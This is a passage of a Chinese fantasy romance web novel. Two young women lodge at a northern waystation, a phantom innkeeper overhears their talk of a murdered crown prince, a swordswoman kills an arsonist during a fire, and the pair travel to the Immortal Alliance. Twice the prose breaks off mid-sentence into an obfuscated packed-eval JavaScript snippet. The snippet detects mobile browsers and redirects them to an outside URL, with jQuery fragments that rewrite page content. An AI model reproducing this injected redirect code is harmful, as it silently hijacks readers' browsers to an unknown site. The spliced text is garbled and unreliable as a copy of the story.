那驿站乃是土墙木顶,经年风吹雨打,早已斑驳老旧。门口一面布幌残破不堪,随风猎猎翻飞,隐约可见一个褪色“驿”字。昏黄灯火自门窗缝隙溢出,在这荒寒暗夜之中,显得暖意融融。 景泽、蔡乔对视一眼,抬手掀帘而入。 门帘落下,隔绝门外刺骨寒风,暖气扑面而来,冻僵的四肢渐渐回暖,二人皆是忍不住轻轻一颤。 屋中炭火熊熊,空气里弥漫着浓郁醇厚的羊肉汤香,又混着一缕清浅草药气息,萦绕鼻尖,消解了一路风尘饥寒。 景泽和蔡乔来到柜台前,将所剩无几的碎银子放在台面上,说:“店家,劳烦开间客房。” 柜台后,正有一人埋头对账,指尖修长白皙,握笔姿势从容雅致,气韵端方,无半点边关市井粗鄙之气,反倒似饱读诗书的贵族雅士。 听闻人声,他缓缓抬头。 “……!” 景泽、蔡乔见其容貌,不由得微微一怔。 此人不过二十出头年纪,眉如远山含黛,目若朗星流光,鼻梁挺阔,唇线清润。 昏黄灯影之下,只见他肌肤温润如玉,唇角噙着一抹浅淡笑意。 景泽心里唏嘘不已,原以为极北苦寒之地,尽是粗犷悍勇之辈,没想到还有这般风姿卓绝、温润如玉的少年掌柜,真是让人意外。 少年掌柜目光扫过台面碎银,指尖轻轻一拨,只留少许,将大半银两尽数推回二人面前,礼貌地笑了笑,“姑娘给多了,这些银子足够了。” 来之前,她们还怕带的银子不够,盘算着要不要省着点花,没想到这驿站竟然这么便宜! 景泽心里咯噔了一下,这特么不会是什么住一晚上就没命了的黑心驿站吧?这荒郊野外的,若是黑店,叫天天不应,叫地地不灵,这不是白白送死么? 见她俩满脸不可置信,目光里还带着几分警惕,掌柜耐心地解释道:“寒烬山地处极北,疆域偏僻,人烟稀少,民生清贫,物价素来低廉,此价乃是本地常态,二位姑娘大可安心。” 景泽、蔡乔相视一眼,心头疑虑稍稍消解,暂且信了这番说辞。 景泽微微颔首,“敢问店家,你们这里最便宜的吃食是什么?烦请备上两份,我们赶了一天路,实在是饿得紧了。” 说罢,肚子适时地发出了一声咕噜,景泽有些不好意思地眨了眨眼睛。 掌柜温和地笑了笑:“自然是有的,不知二位姑娘想在房中用膳,还是大堂落座?” 此刻大堂里坐了不少客人,大多是些行商走卒、江湖人士,三五成群地围坐在木桌旁,有说有笑地吃着饭、喝着酒。 炭火烧得正旺,整个大堂暖烘烘的。 蔡乔双腿酸痛沉重,早已倦怠不堪,就近拉过板凳坐下,有气无力道:“便在大堂吃罢。” 掌柜点了点头:“姑娘稍等。” 说完,掌柜站起身来,绕过柜台,径直往后厨去了。 方才他坐在柜台后面,只能看到上半身,还不觉得有什么,现在一站起来才发现,他比寻常男子高出整整一个头还多。 “真是累死我了!” 景泽将挎包取下来放在桌子上,刚在蔡乔对面坐下,蔡乔便迫不及待地从那掌柜背影上收回目光,凑近她小声道:“看不出来啊,他居然长得这么高!那脑袋都要顶上门框了!” 景泽偷偷瞟了一眼那掌柜的背影,只见他身形挺拔如松,肩宽腰窄,走路的姿态沉稳而从容,忍不住掩嘴笑了,打趣道:“怎的?瞧着人心动了?要不要我替你问上一问,姓甚名谁,可有婚配,心上有人不曾?” 蔡乔连忙摇头,急得脸都红了,压低声音道:“别!我对男女之情不感兴趣!我就是有些好奇罢了!你这人怎么什么事都能往那上面扯!” 景泽长长地“哦”了一声,斜着眼睛意味深长地看着她,嘴角的笑意怎么都压不下去:“我信你个鬼!你要是对人家不感兴趣,为什么偷偷看人家?从进门到现在,你的眼睛都快黏在人家身上了!” 蔡乔欲哭无泪,恨不得把脸埋进桌子里:“我真的只是感叹他长得高!景泽!我们跳过这个话题吧……唉?你上次说你日后会告诉我,你包里木盒的来历,你到现在都还没告诉我呢!” 景泽微微一顿,思绪被拉了回来。 她好像真的答应过蔡乔这件事,只是一直没有找到合适的机会说,如今闲来无事,正好可以聊聊。 故而她点了点头,语气变得认真了些:“行吧,这盒子现在也不是什么重要机密了,我把我知道的都告诉你吧。” 蔡乔立马竖起耳朵,双手托着下巴,一副洗耳恭听的乖巧模样:“嗯嗯!你说!” 与此同时,掌柜端着一个大托盘走了过来,上面放着好几碟精致的小菜,外加两大碗热气腾腾的羊肉汤,汤面上飘着翠绿的葱花和香菜,香气扑鼻。 如果仔细观察的话,她们会发现,这些菜肴一点都不便宜,所用尽是极上乘的食材,寻常店家断不肯这般破费。 景泽正沉浸在回忆里,自动略过了掌柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17604110|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的到来,顿了顿,像是在整理思绪,缓缓开口说:“这盒子啊,其实是我兄长的。” 话音落下的一瞬间,掌柜端碗的手几不可查地一颤,碗里的羊肉汤微微晃了晃,洒出了少许,溅在托盘上。 掌柜眼底掠过一抹极淡极快的异样波澜,转瞬便被温润平和的笑意彻底遮掩,不见半分痕迹。 “真是不好意思,姑娘,手滑了,我给你们重新盛一碗吧。” 他歉意地说道,作势要端走那碗洒了汤的碗。 景泽忙制止,笑着道:“不用不用,不用这么麻烦,就这样吧,洒了一点不碍事。” 掌柜微微一笑,没有再多说什么,将碗碟一一摆放好,便重新坐回了柜台后面。 纥奚时砚坐的这个位置,离景泽她们非常近,近到只要稍稍侧耳,她们说的任何话,他都能一字不漏地听到。 蔡乔浑然不觉,惊喜地睁大了眼睛:“你也有兄长么!那、那他是个什么样的人?” 景泽被蔡乔这么一问,那些久远的记忆便如潮水般涌来,温暖而带着淡淡的酸楚。 她的眼神变得柔软,嘴角不自觉地弯起一个弧度:“他啊,是个很活泼、很温暖、很疼爱我的人。从小到大,不管我想要什么,他都会想办法弄来给我,我做错事的时候,他也从不舍得凶我,他很纵容我……” 她的话音渐渐染上了一层难以掩饰的哽咽酸涩,说:“他是我最好的兄长……” 或许是景泽的话,勾起了蔡乔那痛苦的回忆,蔡乔的声音也有些沙哑,眼眶微微泛红:“是啊,我兄长也很疼爱我……如果没有发生那些事,他应该还好好地活着吧。” 听得她二人聊天,纥奚时砚的心尖泛起了一阵苦涩,三年前的记忆,渐渐浮现在眼前,清晰得仿佛就发生在昨天。 彼时海底沉渊宫张灯结彩,处处喜气洋洋,宫娥内侍往来奔走,人人面带欢容。 再过七日,便是太子景澄二十三周岁生辰,宫中早早筹备庆典,静待宾客。 太子景澄是个喜欢热闹的人,不管是过节还是生辰,都要大办特办不说,还要邀请一众亲朋好友参加。 他待人真诚,性情活泼,对下人从不摆架子,是整个沉渊宫里最受欢迎的人。故而他的太子宫里,常年都是人来人往、欢声笑语的景象。 生辰前夕,贴身内侍杨灯奉命前往广寒宫阙递送请帖,事毕满心欢喜回宫复命。 可当他推开太子寝殿大门的刹那,一声凄厉惊叫骤然响彻宫阙,惊飞了檐下栖立的成群白鸽。 只见太子景澄整个人歪倒在书案前的椅子上,面色苍白如纸,两眼无神地大睁着,已经没有了焦距。 他的胸口那里有一个血淋淋的大洞,贯穿了腹部,鲜血浸透了他月白色的衣袍,顺着椅腿蜿蜒到地上,汇成了一小滩暗红色的血泊。 太子薨了! 一炷香之前太子分明还好好的,还在笑着交代他去送请帖,怎么忽然就薨了呢! 消息传开后,整个沉渊宫炸开了锅。 护卫们里里外外搜查了三遍,把沉渊宫翻了个底朝天,没有刺客的踪迹,没有打斗的痕迹,没有任何可疑的人或物,只有书案上那个敞开的空木盒子,处处透露着古怪。 那木盒原本是太子最珍视的东西之一,从来不允许任何人触碰,平日里总是锁在暗格里,钥匙贴身携带。 可如今,盒子开了,太子死了。 景泽将筷子重重地拍在桌子上,眼含怒气地续道:“于是这个木盒子就成了解开我兄长死亡真相的唯一线索,现在你也知道了,这盒子跟逸归尘有关,可逸归尘是死是活,众说纷纭,只有得到更多关于逸归尘的消息,才能替我兄长报仇!” 景泽的心情,蔡乔太理解了,她也曾失去过至亲之人,也曾被仇恨煎熬过无数个日日夜夜。 她伸手握紧了景泽的手,坚定地说:“无论前路何等艰难凶险,我都与你同行,我相信你一定能手刃仇敌,告慰令兄。” 景泽感受到掌心传来的温度,心里涌上一股暖流,微微一笑,“我也希望有那一天……” 蔡乔忽然想起什么,眼睛一亮,好奇道:“对了,你方才说你三年前一直生活在海底,你兄长又是什么太子,景泽,你不会是什么人鱼公主吧?你们那个国家叫什么?” 本来挺伤感的氛围,听到蔡乔如此认真地问出这个问题,景泽忍不住“噗”一声笑了出来,她摇了摇头,“不是不是!哎哟你想哪里去了!我是人!不是人鱼!” 顿了顿,她笑容收敛了一些,眼神变得有些茫然:“不过,我听我兄长说,我以前确实是一个国家的皇室公主。但那个国家具体叫什么,我还真不知道,那个时候我还小,对这些东西不感兴趣,从来没主动问过,当然,他们也从来没对我主动说过……” 她低下头,看着桌上那碗暖意渐消的羊肉汤,一声苦笑:“现在我倒是想问了,可已经没有人能回答我了。” 满堂炭火噼啪轻响,羊肉汤热气氤氲,袅袅白雾模糊了少女的眉眼,也掩去了她眼底深处的落寞凄凉。 柜台幽暗灯影之下,纥奚时砚手中的笔悬在半空中,久久没有落下。 47. 寒烬山(二) 没想到这驿站看着破败,屋里头该有的枕头、被子、炭火、炉子,竟是一应俱全,应有尽有。 景泽和蔡乔仔细一琢磨,越发觉得这驿站的性价比高得离谱。 炭火熊熊燃烧,窗外大雪纷飞,屋内却温暖如春。两人躺在床上,连日赶路的疲惫一股脑涌上来,很快便沉沉睡去,且睡得极香。 景泽又做了个梦。 不过这一次,她没有再梦见师尊那清冷孤寂的广寒宫阙,而是一处全然陌生的地方。 漫天粉红花瓣随风飞舞,纷纷扬扬,景泽定睛一看,自己正站在一片一望无际的杏花谷里。 杏花开得极盛,层层叠叠,粉白相间,远远望去,恰似天边烧着的云霞落在了人间。 景泽在杏花谷里绕了好长一段时间,花瓣落了满肩,走着走着,她发现这片粉色林子的尽头,居然藏着一栋小木屋。 院子用篱笆随意地围了起来,里面放着一把竹制躺椅,躺椅上仰躺着一个男人,此时正在午睡。 只见那人双目轻阖,鼻梁上架着一副叆叇,脸颊周围颇为讲究地敷了一层黄瓜片,手里还握着一把蒲扇,整个人瞧上去惬意极了。 往他身旁看去,他那躺椅旁边堆了满满当当的书册,摞得歪歪斜斜,如果不仔细看,会误以为这男人其实是躺在这些书上。 这人居然这么喜欢看书?景泽心中好奇,忍不住悄悄凑上前去,想看看那堆书究竟是不是正经书。 她每一步都走得提心吊胆,脚尖轻轻点地,生怕惊醒了那个男人。 好在那男人睡得沉,呼吸均匀而绵长,丝毫没有察觉她的靠近。 她蹲下身,偷偷拿起一本翻看,心中顿时肃然起敬,这些书居然全都是正经书,内容且都跟医术有关,密密麻麻写满了批注。 啧啧啧,在这么美的地方,居然还有心想着学习,景泽叹为观止,此人可真是个积极向上、奋发图强的勤勉之辈,放在民间话本里,那就是典型的“别人家的孩子”。 打扰了,景泽自愧不如,默默将书放回原处,小心翼翼往后退去。 一步接着一步,前面都还畅通无阻,倏地,她感觉自己的后背撞进了谁的怀里。 “……!” 景泽心跳立时漏了一拍,后背猛地窜上一股寒意。 在极度的震惊中,她僵硬地转过头去,她身后果然站着一个人! 还是个男人! 来人身量高挑修长,一袭白衣如雪,脸上戴着半张银白面具,只露出一双眼睛和下半张脸。 她看不见对方具体长什么样,但那通身的气度,清冷中透着几分威压,叫人过目难忘。 此时此刻,那人一双琥珀色的瞳孔,透过面具的缝隙紧盯着自己。 景泽被那目光看得心头一紧,正要开口说些什么,那人却忽然竖起食指,抵在自己唇峰位置,轻轻做了个噤声的动作。 那意思很明显,叫她别出声。 景泽会意,茫然地点点头,乖乖闭嘴不说话了。 然后那男子朝她伸出手来,广袖轻落,露出一截甚是好看的白皙手腕,掌心向上,那是个邀请的手势。 景泽咬了咬唇,缓缓将手放了上去。他的掌心干燥而温暖,稳稳握住她的手,牵着她离开了这里。 那男子牵着她走在前面,步伐不疾不徐。景泽走在后面,目光落在他挺拔的背影上。风里飘着细碎的杏花,花瓣落在他们肩头和发间,宛如下了一场温柔的雪。 景泽忍不住开口问他:“喂!你要把我牵去哪里?” 那男子没搭理她,还是继续往前走。 景泽蹙了蹙眉,又问:“你为什么不说话?你到底是谁?” 那男子终于停下了脚步。 他缓缓转过身,居高临下地凝望着她,面具下,一双眼睛像盛着碎光,明明看不清神情,却莫名让人觉得他在笑。 既然他不说,那她就自己看。景泽心一横,大跨一步上前,伸手摘掉了那男子的面具。 面具坠落的刹那,她看清了他的脸。 景泽微微一惊,脱口而出:“是你,清隽?” 由于她几乎没怎么见过清隽穿白衣,印象中他总是一身黑色袍子,乍见到这一身雪白,她差点没认出来。 景泽眨了眨眼,心跳忽然快了半拍,反应过来后,不可思议道:“你怎么跑到我梦里来了?” 清隽垂眸看着她,语气淡淡的,带着不易察觉的笑意,“那得问你了,兴许是你白天,想我想得太多。” 景泽脸颊一热,偏过头去,嘴上却不肯承认:“我哪有!你少自作多情了!” 清隽不置可否地挑了挑眉,眼底笑意更深:“是么?那我就不知道了,或许是我们缘分太深,连梦都凑到一处去了。” 景泽小声反驳:“谁跟你有缘了!” 嘴上还在逞强,可看着梦里的他,心里早已漫上一片甜。 脚下的土地,早已落了厚厚一层花瓣,踩上去绵软如云,连风里都裹着清浅的花香。 景泽心里憋着坏,偷偷蹲下身抓了一把,趁清隽不备,猛地砸在了他身上。 花瓣纷纷扬扬地散开,落了清隽满头满脸。 清隽一时间没反应过来,愣在原地,直到景泽“扑哧”一声大笑出来,他才明白过来她存的什么坏心思。 清隽也不恼她,弯下腰,反手抓起一把花瓣朝她撒去。 两个人一追一赶,在杏花林里玩闹了起来,花瓣在空中飞舞,笑声在林间回荡。 玩累了,景泽便和清隽并肩躺在杏花树下,悠闲地晒太阳。 阳光透过花枝的缝隙洒下来,落在脸上暖洋洋的,鼻尖萦绕着杏花清甜的香气,景泽眯着眼,只觉得这场梦,温柔得像浸了蜜。 躺了一会儿,景泽忽然抬手,指尖摇摇指向不远处那株盘虬卧龙的老杏树,语气里带着几分天真浪漫:“清隽,你觉不觉得,那棵树下面少了点东西?” 清隽后脑勺枕着手臂,眸光懒洋洋地往她手指的方向瞟去,喉结微微滚动了一下,“少了什么?” 景泽偏头看了清隽一眼,抿了抿唇,一本正经道:“少了个秋千!” 清隽微微一怔,不明所以地看着她:“为何偏是秋千?” 景泽顿了顿,像是在斟酌措辞,半晌后才慢慢说道:“我曾阅民间话本,书中有言,世间有情郎,若要博心爱之人欢心,便会亲手制一架秋千,赠予佳人,以寄心意。” 她说着说着,转过了头,目光描摹过清隽的眉眼,轻声道:“故而,我也想要个秋千……” 一语落罢,林间风息渐静,唯有杏花簌簌轻落。 她一直看着清隽,目光里有期待,有忐忑。 可清隽却没有看她,他的目光落在远处那片粉色的花林里,神色平静得像一潭深水。 半晌后,清隽忽然坐起身来,拍了拍衣袍上沾着的花瓣,转过头特别认真地看着她:“姑娘不必心急,他日你若遇上心悦之人、愿托付余生的良人,他自会为你搭设秋千,博你一笑。若是那人待你薄情,不肯应允,你大可寻我,我自会替你理论,管教他乖乖遂你心意。” 字字温润,却字字疏离。 景泽默然良久,心头温热的欢喜,一点点凉透散尽。 原来世间最伤人的话语,从不是厉声斥责,而是这般温柔婉转的婉拒,轻柔一语,便足以割得人心头生疼。 景泽半夜被蔡乔摇醒了,迷迷糊糊间,她听见蔡乔焦急的声音在耳边响起,像是在很远的地方,又像是在很近的地方。 “景泽!快醒醒!不好了!着火了!” 景泽猛地睁开眼睛,一股浓烈的烟味儿扑鼻而来,呛得她剧烈咳嗽起来。 “怎么会忽然着火?” 蔡乔已经穿好了外衣,神色慌张:“先别管这个了!我们快下楼吧!大家都在往楼下跑!” 景泽心中一凛,忙掀开被子,胡乱套上鞋袜,同蔡乔一起往楼下跑去。 楼道里弥漫着浓烟,视线模糊不清,到处都是惊慌失措的呼喊声和杂乱的脚步声。 “着火啦!快跑啊!” “好端端的怎么会着火!到底是不小心的,还是有人故意为之!” “我哪里知道!快跑吧!保命要紧!” “这半夜三更的!外面雪下这么大,往哪里跑!” “就是就是!火已经烧掉两间房间了!幸好还没有出人命!还是快快去厨房打水救火吧!” 尖叫声此起彼伏,驿站已然乱成了一锅粥。楼下大堂里沸反盈天,火光照得每个人的脸都忽明忽暗。 而在那一片混乱中,景泽注意到有个人正坐在靠窗的桌子前,悠哉悠哉地喝酒。 这人身形纤细窈窕,瞧着应该是个女子,却做男子打扮,头上戴着一顶斗笠,微微压低了帽檐,腰上悬着一把佩剑。 她那淡定从容的模样,与周遭的混乱场面简直格格不入。 鬼使神差地,在这紧要时刻,景泽忽然想起了那个少年掌柜。 不知道他跑出来没有?景泽的目光在四下里转悠了一圈,来来回回看了好几遍,却没有看到他的身影。 她心中不由得一紧,赶忙拉住身边匆忙奔走的店小二,急急问道:“你们那个掌柜呢?他可有伤着?” 那店小二被拉得一个趑趄,急得满头大汗,一脸茫然地喊道:“什么掌柜?你说的谁?” 时间紧急,景泽也来不及跟他长篇大论地描述那掌柜的长相,怕对方听不清楚,她提高了声音喊道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17607187|202397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是长得又帅又高又年轻那个掌柜!你们驿站的!你肯定认识他!你看到他人没有?” 店小二满头雾水,脸上的表情像是见了鬼:“姑娘你在说什么!我们店里从来就没有过什么掌柜!更别提什么又帅又高又年轻的了!我在这儿干了三年了,从来就没有过掌柜这号人!” 景泽脑中“嗡”一声,整个人僵在原地,像是被人当头浇了一盆冷水,从头凉到脚。 “你说什么!”她几乎不敢相信自己的耳朵。 店小二用莫名其妙的眼神看了她一眼,而后转身一头扑进了救火队伍里。 蔡乔见她脸色难看得厉害,忙问:“景泽,你怎么了?脸色这么白?” 景泽一把抓住蔡乔的手臂,手指微微发颤,迫切地想要得到一个答案来确认自己没有疯。 “刚刚我们进来时,你我都看到那个掌柜了吧?就站在柜台后面的那个,你觉得他长得很高那个,你知道方才那个店小二说什么吗?他说他们店里,从来就没有什么掌柜!” 蔡乔的瞳孔猛地一缩,惊呼道:“什么!这怎么可能?我们明明……” 她的话还没说完,与此同时,那个坐在大堂里默默喝酒的女子,忽然动了。 只见她猛地起身,动作快如闪电,右手奋力拔剑,银光一闪,剑气如虹,直接割破了方才从她身边跑过的一个中年男子的喉咙。 那动作干净利落,没有半点拖泥带水,快到所有人都没反应过来。 鲜血飞溅,那中年男子浑身一僵,瞪大眼睛,然后“咚”一声,整个人直挺挺地倒在地上,一动不动了。 围观群众愣了一瞬,旋即炸了锅,周围的尖叫声比方才还要大上几倍。 “杀人了!杀人了!” “快跑啊!这女的是个疯子!” 那女子冷冷扫了众人一眼,道:“你们怕什么?我又不会杀你们。我方才所杀之人,正是今夜纵火之人!” 话音一落,大堂里忽然安静了下来。 大家半信半疑地看着那女子,目光在她和地上的尸体之间来回游移,那女子神色坦坦荡荡,看起来不像在撒谎。 这时有人壮着胆子上前查看,从那中年男子的腰间摸出一个火折子和半桶残留的灯油,证据确凿。 于是所有人纷纷松了一口气,转惊为喜,七嘴八舌地道:“多谢女侠救命!女侠是我们的大恩人呐!” 女子随意地摆了摆手,很是不耐烦这些客套话:“举手之劳,不足挂齿。” 说完,她又坐回桌前,继续喝起了酒。 景泽和蔡乔对视一眼,心中都对这个女子生出了几分好奇,两人走过去,在那女子对面坐了下来。 景泽率先开口:“敢问女侠,你怎么知道方才那个男子就是纵火之人?” 女子抬眸淡淡一瞥,“此人负我宗门弟子,私结私情,作恶多端,我一路追杀至此。他穷途末路,无从遁形,便心生恶念,纵火焚驿,欲拖满堂之人同归于尽,卑劣至极。” 原来是有旧怨在前,怪不得这女子能一眼认出纵火凶手。 景泽心中一动,试探着问:“敢问姑娘来自哪个宗门?” 女子抿了一口酒,语气平淡:“寒烬山,无情宗。” 景泽和蔡乔齐齐一怔,一般出自宗门的人,都见多识广,懂得许多常人不知道的事。 景泽趁热打铁,又问:“敢问姑娘,你可知道逸归尘?” 女子喝酒的动作猛地一顿,握着酒杯的手指微微收紧。她的表情变得微妙起来,看向景泽的目光多了几分审视和警惕。 “你打听这个人干什么?” 景泽正色道:“此人与我有血海深仇,如果姑娘知道关于他的线索,还望姑娘相告。” 女子沉默了片刻,目光在景泽脸上来回打量,良久,她冷笑一声,语气里带着几分讥诮:“我们这寒烬山,地理位置偏僻,消息闭塞,哪里能知道这位的事迹?你要想听逸归尘的故事,应该去仙盟,尤其是那位仙盟盟主,南宫苍梧,他那里,肯定有你们想要的答案。” 蔡乔眼睛一亮,又有些担忧,道:“我们只要问了,他就能告诉我们吗?” 女子嗤笑一声:“那估计不会,这般秘事,他一个仙盟盟主,又不认识你们,凭什么跟你们说那么多?” 景泽皱起眉头:“这可如何是好?” 女子将杯中酒一饮而尽,不紧不慢地说:“不过,据说那仙盟盟主,每年都要招收弟子,今年的名额不知道招满了没有。你们可以用弟子的身份混进去试试,只要成为了南宫苍梧的弟子,得到了他的信任,你们的问题,很快就有答案了。” 景泽和蔡乔对视一眼,眼中同时亮起希望的光芒。 “多谢女侠相告。” 48. 仙盟 裂陆六城中央,孤峰拔地千丈,直插云霄,乃是天下修士共仰的仙盟山门。 山下平野万里,一望无垠,遍地灵草琼葩,品类各异。 清风徐来,千株万草俯仰摇曳,碧浪层层叠叠,如沧海清波翻涌,满目清妍,尽是仙家盛景。 世人皆知此间是仙盟培植灵草、普惠天下修士的药田,却少有人记得,百年之前,这片碧色汪洋之下,曾是灵昭国万丈帝都。 昔年灵昭帝都何其恢弘,宫阙连绵十里,市井烟火万家,皇亲贵胄、文武百僚、黎民商贾、贩夫走卒,亿万生民聚居于此,盛极一时。 可百年前一场天地浩劫落定,偌大一座千年帝都,万千朝野百姓,竟于一夜之间凭空消失,不留片瓦残垣,堪称千古奇事。 久而久之,民间流传出这样的说法:定是当年灵昭国国君纵容魔君逸归尘犯下滔天大罪,天罚降下时,不仅惩罚了逸归尘,还重重惩罚了灵昭国那惨无人道、昏庸无能的狗皇帝。 是以那皇帝就住在帝都,天道的雷劫没控制好力度,把整个帝都一起劈成了灰烬。 仙盟自浩劫后立世百年,镇裂陆、安苍生,声望冠绝天下。 盟主南宫苍梧一身修为深不可测,更兼风姿朗润,玉树临风,眉目间自带超然出尘之韵。 百年以来,他被奉为裂陆苍生楷模,更是六城闺阁女子心中唯一的谪仙郎君。 裂陆六城但凡未出阁的姑娘,十个里有九个都将南宫苍梧的画像藏在闺房之中,日夜瞻仰,剩下的那一个不好意思说,其实也藏了。 据说,十几年前的一次仙盟大会,恰好轮到六大宗门里面最穷的济世宗举行。 由于那济世宗实在是太穷了,椅子质量堪忧,坐上去硬邦邦硌骨头不说,还不小心刮下了南宫苍梧的一根青丝。 事后,那根青丝在红市竞价拍出了两万两黄金的天价! 购得此物的乃是一方富商千金,直言此生无缘亲睹盟主真容,供一缕青丝于香案,朝夕礼拜,已是毕生殊荣,足耀门楣。 此事传为一时笑谈,却也足见南宫苍梧在世人心中地位之高。 山门前石阶蜿蜒依山而筑,九千九百九十九级,取九九归一、直抵天道之意,阶势陡峭,层层凌霄。 石阶之下,蔡乔抬首望那缥缈仙峰,眉眼间满是忐忑:“这仙盟盟主听起来这般高不可攀,我们真的能从他那里打听到消息么?” 其实景泽心里也没底,她定了定神,道:“世间万事,皆是试过方知,既已千里奔赴至此,岂有半途退缩之理?此番若不成,再另寻他法便是。” 蔡乔微微张口,犹欲再劝:“可……” 景泽已然举步踏上石阶,截断她话头:“世间从无万全之策,若事事待笃定结果方才动身,终将一事无成,走吧。” 二人拾级而上,九千九百九十九级天梯,足足行了四个时辰,方才登至峰顶,立于仙盟山门之前。 昔日景泽赴天云宗仙会,曾叹天云宗殿宇巍峨,气象非凡。 直至今日亲至仙盟,方知山外有山,天外有天,天下宗门气派,无出仙盟之右。 仙盟不愧是仙盟,她们进去,那看门的守卫也没拦她们,态度异常和气。 景泽一问才知,原来这仙盟常年对世人开放,不管你是法门修士,还是商贾百姓,都可以在仙盟随意进出。 当然,这里的“随意进出”部分,只包含对外开放的外院、花园、议事厅等区域。 像什么盟主宫殿、弟子寝居、藏书阁、后山等等,都是不对外开放的,门口有禁制,闲人莫入。 仙盟实在是太大了,亭台楼阁错落有致,回廊曲径纵横交错,稍不注意就容易迷路。 两人围着花园转了好几圈,一会儿走到荷塘边,一会儿绕到假山后,一会儿又钻进竹林里,累得满头大汗,也没找到正确的道路。 头顶的太阳实在大,明晃晃地挂在空中,晒得人头晕眼花。 蔡乔走不动路了,一屁股在旁边的石头上坐了下来,用手扇着风。 “歇会儿吧,景泽,仙盟也太大了,咱俩来之前应该买张地图的。” 景泽精力远比蔡乔旺盛,她虽然也累,但还能适应。 她看了看四周,道:“蔡乔,你坐这里休息会儿吧,我去抓个仙盟弟子问问路。” 说完,景泽转身到处搜索起来,功夫不负有心人,她转了个弯,绕过一片翠竹,发现有个弟子正站在一块超大的假山石头后面练剑。 这弟子还真是聪明,挑了这么个风水宝地,既没有旁人来打扰,又没有太阳晒到。 景泽走近了些,悄悄打量着这个弟子。 这弟子模样瞧着要比她大几岁,约莫二十出头的样子,长相周正,眉目清朗,算不上多么惊艳,但胜在干净利落。 他穿着仙盟统一的校服,衣袂飘飘,此刻额头布满了细密的汗珠,显然已经练了很久的剑。 景泽每次见到这种努力认真的人,心里都会生出极大的敬佩之情。 只见弟子手中长剑起落纵横,招式端正规整,衔接行云流水,无半分滞涩。 剑势起时,如潜龙出海,气贯长虹,凛然有凌云之势;剑势收时,如飞燕掠波,轻盈灵动,翩然若风。 景泽看得入迷,不忍打断对方,索性便找了个凉快地儿,倚着一棵老槐树,等他把这套剑法练完,再找他问话。 大概一盏茶的功夫过去,那弟子终于把剑练完了。 弟子收剑入鞘,身姿挺拔如松,长长舒了一口气,抬手拭去额间汗珠。 蓦然回首,这才发现后面多出个女子,正悠闲地靠在树上,笑眯眯地看着他。 看着女子的穿着打扮,定不是师门中人,浑身上下散发出来的气息,也不像修行之人。 他想,她应该是个普通的市井姑娘。 这弟子一时间有些纳闷,朝她走过来,拱手行礼。 “姑娘在此驻足,可是有事相询?” 景泽忙站起身来,整了整衣衫,拱手回礼,语气恭敬:“道长,在下景泽,此番前来仙盟,是为了拜入盟主门下,还望道长指引一二。” 听到景泽想要拜入盟主门下,这弟子眉宇间掠过一抹讶异。 他上下打量了景泽一番,似乎在确认她是不是在开玩笑,半晌后,他才回过神来,微微颔首:“可以,你随我来吧。” 景泽心中大喜,差点跳起来,连声道谢:“多谢道长,多谢道长!道长能否稍等我片刻?我还有个朋友,就在前面花园里坐着,我能不能过去叫她一起?” 弟子表示可以,景泽赶紧转身跑过去找蔡乔。 不一会儿,两人便气喘吁吁地赶来了。 蔡乔跑得脸都红了,一边喘气一边好奇地打量着这个弟子。 景泽对这个弟子介绍说:“她是我朋友,蔡乔。” 弟子颔首,表示了然,而后对她们自我介绍:“我叫司寒晔,是盟主座下大弟子。” 景泽眼睛一亮,由衷赞叹:“原来是盟主座下大弟子!怪不得那一招一式挥舞得那么漂亮,行云流水,一气呵成,我在旁边看得都入了迷。” 蔡乔则满脸遗憾,跺了跺脚说:“早知道我刚刚一起跟过来了,真遗憾没有看到司道长练剑,景泽你也不早点叫我!” 景泽嘟囔:“你自己说要休息的!” 司寒晔含笑不语,目光在二人脸上扫过,微微皱了皱眉,似乎在斟酌用词。 片刻后,他开口问道:“你们怎么想到来拜师了?” 不知道是不是景泽的错觉,她感觉司寒晔的语气听起来非常不正常,欲言又止,好像并不希望她们来拜师似的。 蔡乔也觉察出了这点,眨巴着眼睛问:“嗯?拜师是有什么说法么?难道拜入仙盟还有什么不好的地方?” 司寒晔引着她二人朝盟主宫走去,一路上穿廊过院,经过了好几道门禁。 瞧她二人心思单纯,眼神清澈,一看就不是什么心怀鬼胎之人,司寒晔也就没有避讳,对她们如实道来。 “想必姑娘们早就听说过百年前那场天罚了,这一点我就不过多赘述了。” 司寒晔一边走一边说:“正因为有这场天罚,修士们的修行难度提高了成百上千倍。百年来,天下无一人破壁飞升,不管修士们如何努力,如何苦修,如何天赋异禀,都得不到飞升。” 说到这里,司寒晔停下脚步,回头看了她们一眼,继续道:“如此一来,绝大多数人都对拜师修行望而却步。花费几十年光阴,吃尽苦头,到头来却是一场空,谁还愿意?故而当今不管是宗门还是仙盟,每年招收的弟子都在减少。到现在,几乎没什么人愿意拜师修行了。现在还想拜师修行的,大多是些出身望族的子女,当然,他们的目的并不是修行,只是为了给自己镀层金,在宗门里挂个名,出去说起来好听,让家族更有面子罢了。至于修行,他们连剑都懒得摸一下。” 蔡乔听得瞠目结舌,恍然悟道:“原来如此!我往日见诸多世家子弟出身仙府宗门,只道是个个天资出众、身负灵根,没想到大半皆是沽名钓誉、徒有其表!” 